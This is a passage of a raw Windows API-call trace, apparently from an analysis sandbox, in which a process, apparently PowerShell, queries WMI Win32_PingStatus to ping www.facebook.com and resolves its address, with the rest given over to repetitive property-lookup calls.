IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308f68*=0, plFlavor=0x2308f6c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2308f68*=8, plFlavor=0x2308f6c*=64) returned 0x0 [0142.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.444] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308fc0*=0, plFlavor=0x2308fc4*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2308fc0*=8, plFlavor=0x2308fc4*=64) returned 0x0 [0142.445] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.445] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.445] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23091a0*=0, plFlavor=0x23091a4*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23091a0*=3, plFlavor=0x23091a4*=64) returned 0x0 [0142.445] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23091d4*=0, plFlavor=0x23091d8*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23091d4*=8200, plFlavor=0x23091d8*=64) returned 0x0 [0142.445] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2309208*=0, plFlavor=0x230920c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2309208*=8, plFlavor=0x230920c*=64) returned 0x0 [0142.445] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.446] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.446] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2309254*=0, plFlavor=0x2309258*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2309254*=8, plFlavor=0x2309258*=64) returned 0x0 [0142.446] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.446] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.446] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23092a0*=0, plFlavor=0x23092a4*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23092a0*=8, plFlavor=0x23092a4*=64) returned 0x0 [0142.446] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.446] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0142.446] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0142.446] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.446] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23094dc*=0, plFlavor=0x23094e0*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x23094dc*=8, plFlavor=0x23094e0*=0) returned 0x0 [0142.446] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.446] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.447] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23094dc*=8, plFlavor=0x23094e0*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x23094dc*=8, plFlavor=0x23094e0*=0) returned 0x0 [0142.447] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.447] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.447] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c87678*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c79a58*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0142.498] FreeAddrInfoW (pAddrInfo=0x5c87678*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c79a58*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0142.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.499] EtwEventActivityIdControl () returned 0x0 [0142.499] EtwEventActivityIdControl () returned 0x0 [0142.499] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.500] EtwEventActivityIdControl () returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.501] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.501] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0142.501] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.501] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.501] SafeArrayGetLBound (in: psa=0x5c78e48, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0142.501] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.502] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.502] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.502] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.502] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.502] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.502] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.502] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.502] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.502] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.502] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.502] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.502] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.502] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.502] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.502] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.502] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.502] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.502] SysStringByteLen (bstr="__PATH") returned 0xc [0142.502] SysStringByteLen (bstr="__PATH") returned 0xc [0142.503] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23128d8*=0, plFlavor=0x23128dc*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23128d8*=3, plFlavor=0x23128dc*=64) returned 0x0 [0142.503] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231290c*=0, plFlavor=0x2312910*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x231290c*=8, plFlavor=0x2312910*=64) returned 0x0 [0142.503] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.503] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.503] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312964*=0, plFlavor=0x2312968*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312964*=8, plFlavor=0x2312968*=64) returned 0x0 [0142.503] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231298c*=0, plFlavor=0x2312990*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x231298c*=8, plFlavor=0x2312990*=64) returned 0x0 [0142.503] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.503] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.503] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23129e4*=0, plFlavor=0x23129e8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23129e4*=8, plFlavor=0x23129e8*=64) returned 0x0 [0142.504] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.504] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.504] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312bc4*=0, plFlavor=0x2312bc8*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2312bc4*=3, plFlavor=0x2312bc8*=64) returned 0x0 [0142.504] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312bf8*=0, plFlavor=0x2312bfc*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2312bf8*=8200, plFlavor=0x2312bfc*=64) returned 0x0 [0142.504] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312c2c*=0, plFlavor=0x2312c30*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2312c2c*=8, plFlavor=0x2312c30*=64) returned 0x0 [0142.504] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.504] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.505] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312c78*=0, plFlavor=0x2312c7c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2312c78*=8, plFlavor=0x2312c7c*=64) returned 0x0 [0142.505] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.505] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.505] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312cc4*=0, plFlavor=0x2312cc8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2312cc4*=8, plFlavor=0x2312cc8*=64) returned 0x0 [0142.505] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.505] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0142.505] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0142.505] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.505] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="BufferSize", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2312f00*=0, plFlavor=0x2312f04*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2312f00*=19, plFlavor=0x2312f04*=0) returned 0x0 [0142.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.505] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.505] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.506] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.506] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.506] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0142.506] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.506] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.506] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0142.506] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.506] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.506] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.506] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.506] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.506] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.506] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.506] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.506] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.506] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.506] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.506] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.506] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.507] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.507] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.507] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.507] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.507] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.507] SysStringByteLen (bstr="__PATH") returned 0xc [0142.507] SysStringByteLen (bstr="__PATH") returned 0xc [0142.507] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23132b4*=0, plFlavor=0x23132b8*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23132b4*=3, plFlavor=0x23132b8*=64) returned 0x0 [0142.507] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23132e8*=0, plFlavor=0x23132ec*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23132e8*=8, plFlavor=0x23132ec*=64) returned 0x0 [0142.507] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.507] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.507] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313340*=0, plFlavor=0x2313344*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313340*=8, plFlavor=0x2313344*=64) returned 0x0 [0142.508] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313368*=0, plFlavor=0x231336c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2313368*=8, plFlavor=0x231336c*=64) returned 0x0 [0142.508] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.508] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.508] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23133c0*=0, plFlavor=0x23133c4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23133c0*=8, plFlavor=0x23133c4*=64) returned 0x0 [0142.508] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.508] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.508] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23135a0*=0, plFlavor=0x23135a4*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23135a0*=3, plFlavor=0x23135a4*=64) returned 0x0 [0142.508] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23135d4*=0, plFlavor=0x23135d8*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23135d4*=8200, plFlavor=0x23135d8*=64) returned 0x0 [0142.509] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313608*=0, plFlavor=0x231360c*=0 | out: pVal=0x572e92c*(varType=0x8, 